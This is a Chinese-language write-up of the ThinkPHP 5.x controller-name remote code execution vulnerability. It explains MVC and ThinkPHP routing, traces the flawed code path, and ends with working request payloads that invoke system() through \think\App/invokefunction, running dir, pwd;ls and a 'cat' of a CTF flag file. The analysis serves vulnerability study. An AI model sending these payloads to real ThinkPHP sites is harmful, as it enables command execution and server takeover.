漏洞预警:
https://help.aliyun.com/noticelist/articleid/1000081331.html?spm=5176.2020520001.1004.7.2e874bd363uLuf
漏洞描述:
由于ThinkPHP5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接GetWebShell。
影响版本:
ThinkPHP 5.0系列 < 5.0.23
ThinkPHP 5.1系列 < 5.1.31
在漏洞分析前我们还是先来了解一些知识
MVC架构详解:https://www.cnblogs.com/xiaxiaoshu/p/9073209.html
模型-视图-控制器模式,也称为MVC模式(Model View Controller)。用一种业务逻辑、数据、界面显示分离的方法组织代码,
将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,不需要重新编写业务逻辑。
MVC被独特的发展起来用于映射传统的输入、处理和输出功能在一个逻辑的图形化用户界面的结构中。
它把软件系统分为三个基本部分:
模型(Model):负责存储系统的中心数据。
视图(View):将信息显示给用户(可以定义多个视图)。
控制器(Controller):处理用户输入的信息。负责从视图读取数据,控制用户输入,
并向模型发送数据,是应用程序中处理用户交互的部分。负责管理与用户交互交互控制。
ThinkPHP路由
概括的说:路由就是网络请求的url与thinkphp应用层的逻辑处理地址的对应关系。
通俗的说:路由就是把url的请求优雅的对应到你想要执行的操作方法。
路由其实就是把真实的url地址隐藏起来,使用访问地址来访问应用(网站或OA等)。
通常这样定义:“访问地址”=》“真实地址”,这代表了一种映射关系。就好比用“1”代表去肯德基吃饭,用“0”代表去麦当劳吃饭,你预先告知过同事这个规则的话,只需要发送“1”或“0”给同事,同事就能理解要去哪里吃饭,一个道理。
路由的规则是thinkphp规定好的,比如TP的访问规则是:根目录/模块/控制器/方法,那么我们只需要定义一下映射关系“reg”=》“index/user/reg”,此时只需要再浏览器输入“域名/reg”就能访问“index模块/user/控制器/reg方法”这个地址了。
这样的优点:
1、没有处理过的url路径都是由 …模块/控制器/方法/参数 构成,如果不加以“掩饰”的话,会被别人看清内部结构,不够安全。
2、可以让url地址更加简洁、优雅、美观。
漏洞分析:
这个版本的路由默认使用的是混合模式没有强制开启路由,导致攻击者可以构造特定请求(URL)获取webshell。
thinkphp的路由模式
详细讲解:https://blog.csdn.net/qq_33156633/article/details/89265363
这里的源码默认使用的是混合模式,混合模式就是即可自定义路由,也可使用PATH_INFO的方式。
漏洞分析:
我们先来看一下官方给出的修补方案,对控制器实施了过滤。
追踪一下$controller变量
这里对静态方法controller实例化了,继续追踪loader
这里判断了如果存在name就实例化,我们继续追踪getModuleAndClass
这个方法会将module和class返回,用于实例化,利用命名空间的特点,如果可以控制此处,如果可以控制此处的class,也就是补丁里的controller,就可以实例化任意类。如果我们设置控制器为\think\App,可以构造payload调用其方法invokeFuction。
Payload:\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
这里用到了一个php的全局回调函数
接下来就是如何设置controller为\think\App
来到获取控制器名
其中把result[1]的值传递到$ control中
找到module方法
接着找哪里调用了module方法。
可以看到$result来自$dispatch[‘module’]接着找$dispatch
找到run这个方法
以及这句
继续追踪routeCheck方法
到Route中可以发现解析URL并没有进行安全检测
从Request::path()追到request.php中的pathinfo()
var_pathinfo的默认配置为s,我们可以通过$_GET[‘s’]来传参
最后构造payload:
?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'system("cat ../../../flag");'
当然这个flag还是要找,如下给出payload及回显
Payload:?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'system("pwd;ls");'